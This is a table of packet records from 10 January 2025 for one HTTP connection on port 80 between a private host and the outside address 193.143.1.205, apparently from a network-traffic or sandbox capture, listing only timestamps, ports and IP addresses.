Jan 10, 2025 20:47:20.473881960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.473912954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.473913908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.473948002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.473952055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.473982096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.474014044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.474014997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510622978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510637999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510670900 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510680914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.510704041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510715008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.510739088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510772943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510788918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.510808945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510852098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.510860920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510895967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510930061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.510945082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511102915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511137962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511161089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511172056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511204958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511218071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511245012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511291027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511348009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511399984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511434078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511442900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511466980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511502028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511513948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511538029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511573076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511579037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511609077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511651039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511693001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511725903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511759996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511768103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511811972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511845112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511854887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511878967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511910915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511929035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.511946917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511980057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.511990070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.512013912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512048960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512056112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.512649059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512701035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512712002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.512738943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512773037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512782097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.512808084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512840986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512852907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.512876987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512908936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512922049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.512943983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512978077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.512989998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513011932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513044119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513055086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513077974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513112068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513120890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513145924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513179064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513185024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513211966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513250113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513350010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513375044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513410091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513428926 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513442993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513475895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513488054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513511896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513544083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513560057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513580084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513613939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513622046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513648033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513679981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513690948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513712883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513746023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513755083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513780117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513812065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513818979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513845921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513878107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513883114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513912916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.513951063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.513952971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514290094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514337063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.514344931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514380932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514415026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514427900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.514450073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514483929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514494896 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.514518023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514549971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514564037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.514585018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514619112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514626026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.514652014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514687061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514695883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.514720917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514754057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514764071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.514789104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.514837027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.521059036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.521081924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.521095991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.521106005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.521119118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.521119118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.521131039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.521145105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.521156073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.521158934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.521193981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.521209002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.557898998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.557940960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.557991982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558000088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.558026075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558060884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558070898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.558095932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558130980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558142900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.558182001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558216095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558222055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.558248997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558291912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.558300018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558334112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558368921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558374882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.558404922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558458090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.558480978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558515072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.558552980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.560489893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.560542107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.560575008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.560605049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.560609102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.560643911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.560650110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.560693979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.560729980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.560735941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.560764074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.560803890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.591600895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.597321987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597346067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597358942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597377062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597388983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597392082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.597400904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597410917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.597417116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597429991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597451925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.597474098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.597553968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597567081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597578049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597601891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.597707987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597727060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597753048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597764969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597775936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597788095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597801924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.597811937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.597811937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.597811937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.597851038 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.598174095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598186970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598198891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598212004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598218918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598223925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598229885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598232031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.598237991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598244905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598251104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598258018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598319054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.598670006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598712921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.598723888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598735094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598746061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598757982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598771095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598771095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.598783016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598794937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.598795891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.598826885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.599118948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599132061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599143982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599153996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599167109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599167109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.599178076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599184036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.599190950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599217892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.599234104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.599253893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599266052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599277020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599288940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599299908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599303007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.599320889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599322081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.599334002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599345922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599360943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599371910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.599380016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.599385023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.599420071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.602272987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602353096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602365017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602375984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602387905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602392912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.602408886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.602484941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602497101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602508068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602518082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602523088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.602530956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602541924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602554083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602556944 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.602565050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602576017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.602576971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602590084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.602605104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.602627039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.602991104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603001118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603019953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603029966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603037119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.603041887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603058100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.603077888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603079081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.603099108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603138924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.603363991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603375912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603388071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603399992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603411913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603424072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.603425026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603437901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603446960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.603450060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603466034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.603488922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.603751898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603765011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.603795052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.624241114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.629008055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.635956049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.635993958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.636045933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.636059999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.636080027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.636121988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.636132956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.636166096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.636200905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.636208057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.636233091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.636266947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.636271000 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.636301994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.636337042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.636338949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 20:47:20.644706964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.644741058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.644792080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.644824028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.644874096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.644906998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.644941092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.644973040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.645005941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.645037889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 20:47:20.645070076 CET	80	49704	193.143.1.205	192.168.2.5
